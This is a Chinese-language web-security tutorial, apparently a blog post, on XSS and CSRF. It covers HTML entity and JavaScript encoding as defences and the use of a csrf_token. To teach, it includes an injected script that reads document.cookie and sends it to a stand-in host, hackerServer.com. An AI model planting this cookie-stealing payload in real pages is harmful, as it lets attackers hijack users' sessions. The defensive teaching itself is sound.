xss和csrf攻击
xss(cross site scripting)是一种最常用的网站攻击方式。
一.Html的实体编码
举个栗子:用户在评论区输入评论信息,然后再评论区显示。大概是这个样子:
<span>User Data</span>
如果对User Data不做任何过滤,那么一些喜欢搞怪的小伙伴通常会“注入”一些其他东东,诸如:
<span>alert('弹弹弹')</span>
更有甚者,
<span>
<script>
function getCookie()
{
var cookie=document.cookie;
$.get("http://hackerServer.com?cookie="+cookie,function(result){ })//如浏览器支持跨域访问
}
</script>
</span>
这样的话,在黑客的站点 hackerServer.com 就会源源不断的得到用户的cookie,有了用户的cookie,就相当于得到了最初的凭证,便可以做很多坏事。
我们可以对用户输入的信息,进行转码后再显示,这样就不会出现上述的问题了。这里引入“html实体编码”的概念,见下图(图来源)。
| 显示结果 | 描述 | 实体名称 | 实体编号(十进制) | 实体编号(十六进制) |
|---|---|---|---|---|
| 空格 | | |||
| < | 小于号 | < | < | < |
| > | 大于号 | > | > | E; |
| & | 和号 | & | & |  |
| " | 引号 | " | " |  |
把 alert('弹弹弹') 转码后,其前端页面显示的为 alert('弹弹弹'),
查看其后端html源代码则为 alert('弹弹弹')
我们可以使用charCodeAt这个方法把User Data转化为html实体编码。
"alert('User Data')".replace(/./g, function(s){
return "&#" + s.charCodeAt()
+ ";"
});
二.Js编码
那我们可不可以把所有 有用户输入的地方都使用html实体编码,从而完全避免用户的注入呢?
不行!
HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a <div> tag. It even sort of works for untrusted data that goes into attributes, particularly if you're religious about using quotes around your attributes. But HTML entity encoding doesn't work if you're putting untrusted data inside a <script> tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into. That's what the rules below are all about.
大致意思是:在有<script></script>的标签中,并不支持html编码,这是需要对js进行编码。
如:
<body> <div id='commentlist'>
<script type="text/javascript">
//var s="jsAlert";
var s="jsAlert";
alert(s)//弹出的是s字符串,而不是“jsAlert”
var s2="\152\163\101\154\145\162\164";
alert(s2)//弹出的是jsAlert
</script> </body>
对于在<script></script>标签中的User Data,要使用js编码,就是使用unicode编码,才能保证正确的输入和输出。js编码支持八进制和十六进制编码。
同样可以使用charCodeAt方法把数据进行转化,如下:
"jsAlert".replace(/./g, function(s){
return '\\'+s.charCodeAt().toString()
});
关于js编码的详细可以参考下这里。
三.Xss的危害
如果骇客在一个网站注入了自己一段非法脚本,比如我在http://www.baidu.com注入了一段脚本,该脚本的功能是给关注新浪微博某个指定的用户。
那么,当用户a访问http://www.baidu.com,并且用户a的浏览器保留了新浪微博的登录cookie,那么在访问时,http://www.baidu.com将作为跳板,自动向新浪微博服务器http://weibo.com发起了一次关注请求。显然的,这样的请求是不符合用户意愿的。
这里出现问题的原因就是因为http://www.baidu.com存在重大的xss漏洞所致。
用户浏览器访问http://weibo.com时,该浏览器weibo.com域名下的cookie自动被带着,去访问http://weibo.com,这是因为http是无状态的,而cookie则是身份证明的唯一途径,http协议决定了同个域名下的cookie会自动捎带。
毫无疑问,cookie并不是那么安全,
这里的黑客就是利用了网站的xss漏洞发起了csrf攻击。
必须指明的,csrf漏洞和xss漏洞并没有必然的关联。即使一个网站不存在xss漏洞,但是同样可以发起csrf攻击。
显然的,xss防范是网站安全的第一步,只有这样才能使自己不变成跳板,成为黑客们进行攻击的傀儡。为了避免csrf攻击,就需要采用“非Cookie”的信息策略,即使用csrf_token.
四.csrf攻击
csrf(Cross-site request forgery)攻击的原理是利用浏览器存储的cookie信息,去模拟用户的某些操作。下面是一个csrf攻击的场景:
场景:用户A登录了weibo.com之后,无意中浏览了某恶意网站 http://www.hacker.com之后,发现自己“莫名地” follow了n多个微博帐号。
原因:由于网站weibo.com的并没有使用csrf的防范,所以恶意用户在http://www.hacker.com上自动构造了“关注特定微博帐号”的请求操作followUser。
而又由于用户登了weibo.com,在用户浏览器存储的cookie信息,会随着followUser这个操作一起发送到weibo.com。
weibo.com服务端 在收到来自http://www.hacker.com的请求之后,验证cookie信息,发现cookie信息无误,便会误以为是正确的请求。
解决方案:由于Request Referer字段是可以修改的,所以通过Request Referer字段并不可取。
我们可以感觉cookie信息中的某些kv键值对键值对(如uuid=‘zhangsan’,timespan='201601011023',可以根据这些数据进行加密),然后通过某些位运算算法,生产一个csrf_token,由于这个字段不存在于Cookie,所以在访问时,需要在web端自动构建这个参数(如果是get请求,可以加到url之后;如果是post请求,可以封装到请求body之中)。
对于其他域名下的请求,由于其无法获取该域下的cookie信息,所以,即使该位运算算法暴露在js之中,其它恶意请求也无法构造这个csrf_token值。再weibo.com的服务端会被拒绝掉。
写到这里,不难发现,如果weibo.com存在xss漏洞,导致了用户cookie的泄漏,也会可能引发进一步的csrf攻击。
有防xss的措施,无防csrf的措施,网站会GG;
无防xss的措施,有防csrf的错误,网站会GG,因为你可能会丢cookie,导致csrf压根防不了。
以上。
可能有用的js方法:
1."aA".charCodeAt().toStrign("16")
2.String.fromCharCode(40)
3.eval()
参考:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://drops.wooyun.org/tips/689
http://www.cnblogs.com/hustskyking/p/xss-snippets.html
http://www.cnblogs.com/TomXu/archive/2011/12/31/2289423.html
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#Why_Can.27t_I_Just_HTML_Entity_Encode_Untrusted_Data.3F
xss和csrf攻击的更多相关文章
- XSS 和 CSRF 攻击
web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等 一.XSS(Cross Site Scripting)跨站脚本 XSS其实就是Html的注入问题,攻击者的输入没 ...
- XSS与CSRF攻击
一.XSS Cross Site Script,跨站脚本攻击.是指攻击者在网站上注入恶意客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一 ...
- 前端安全之XSS和csrf攻击
1.Csrf攻击概念: csrf攻击(Cross-site request forgery):跨站请求伪造; 2.Csrf攻击原理: 用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cook ...
- xss 和 csrf攻击详解
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同 ...
- XSS攻击 && CSRF攻击 基础理解
一个网站,不管多么的帅气,多么的风骚,如果你不安全,那始终都是一个弟弟啊~ 今天又看了下XSS和CSRF攻击的文章,我也想发点什么普及下大家的安全意识,毕竟作为一名拥有伟大梦想的程序员,基本的安全意识 ...
- 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- XSS攻击&SQL注入攻击&CSRF攻击?
- XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...
- yii框架各种防止sql注入,xss攻击,csrf攻击
PHP中常用到的方法有: /* 防sql注入,xss攻击 (1)*/ function actionClean($str) { $str=trim($str); ...
- XSS与CSRF两种跨站攻击比较
XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...
随机推荐
- C++实现线程安全的单例模式
在某些应用环境下面,一个类只允许有一个实例,这就是著名的单例模式.单例模式分为懒汉模式,跟饿汉模式两种. 首先给出饿汉模式的实现 template <class T> class sing ...
- Concepts:Request 和 Task
当SQL Server Engine 接收到Session发出的Request时,SQL Server OS将Request和Task绑定,并为Task分配一个Workder.在TSQL Query执 ...
- Power BI官方视频(3) Power BI Desktop 8月份更新功能概述
Power BI Desktop 8月24日发布了更新版本.现将更新内容翻译整理如下,可以根据后面提供的链接下载最新版本使用. 1.主要功能更新 1.1 数据钻取支持在线版 以前的desktop中进行 ...
- Android数据加密之Base64编码算法
前言: 前面学习总结了平时开发中遇见的各种数据加密方式,最终都会对加密后的二进制数据进行Base64编码,起到一种二次加密的效果,其实呢Base64从严格意义上来说的话不是一种加密算法,而是一种编码算 ...
- C#多线程之线程同步篇3
在上一篇C#多线程之线程同步篇2中,我们主要学习了AutoResetEvent构造.ManualResetEventSlim构造和CountdownEvent构造,在这一篇中,我们将学习Barrier ...
- C#文件安全管理解析
在实际的项目开发中,我们经常需要使用到文件的I/O操作,主要包含对文件的增改删查等操作,这些基本的操作我们都是很熟悉,但是较少的人去考虑文件的安全和操作的管理等方面,例如文件的访问权限管理,文件数据的 ...
- 【热门技术】EventBus 3.0,让事件订阅更简单,从此告别组件消息传递烦恼~
一.写在前面 还在为时间接收而烦恼吗?还在为各种组件间的消息传递烦恼吗?EventBus 3.0,专注于android的发布.订阅事件总线,让各组件间的消息传递更简单!完美替代Intent,Handl ...
- 用FSM一键制作逐帧动画雪碧图 Vue2 + webpack
因为工作需要要将五六十张逐帧图拼成雪碧图,网上想找到一件制作工具半天没有找到,就自己用canvas写了一个. 写成之后就再没有什么机会使用了,因此希望有人使用的时候如果遇到bug了能及时反馈给我. 最 ...
- angluarjs2项目生成内容合并到asp.net mvc4项目中一起发布
应用场景 angular2(下文中标注位NG2)项目和.net mvc项目分别开发,前期采用跨域访问进行并行开发,后期只需要将NG2项目的生产版本合并到.net项目. NG2项目概述 ng2项目采用的 ...
- PAT练习题目录
点题号就能查看题解了,另外代码也放在了开源中国码云上: 甲级:代码集合:https://git.oschina.net/firstmiki/PAT-Advanced-Level-Practise 10 ...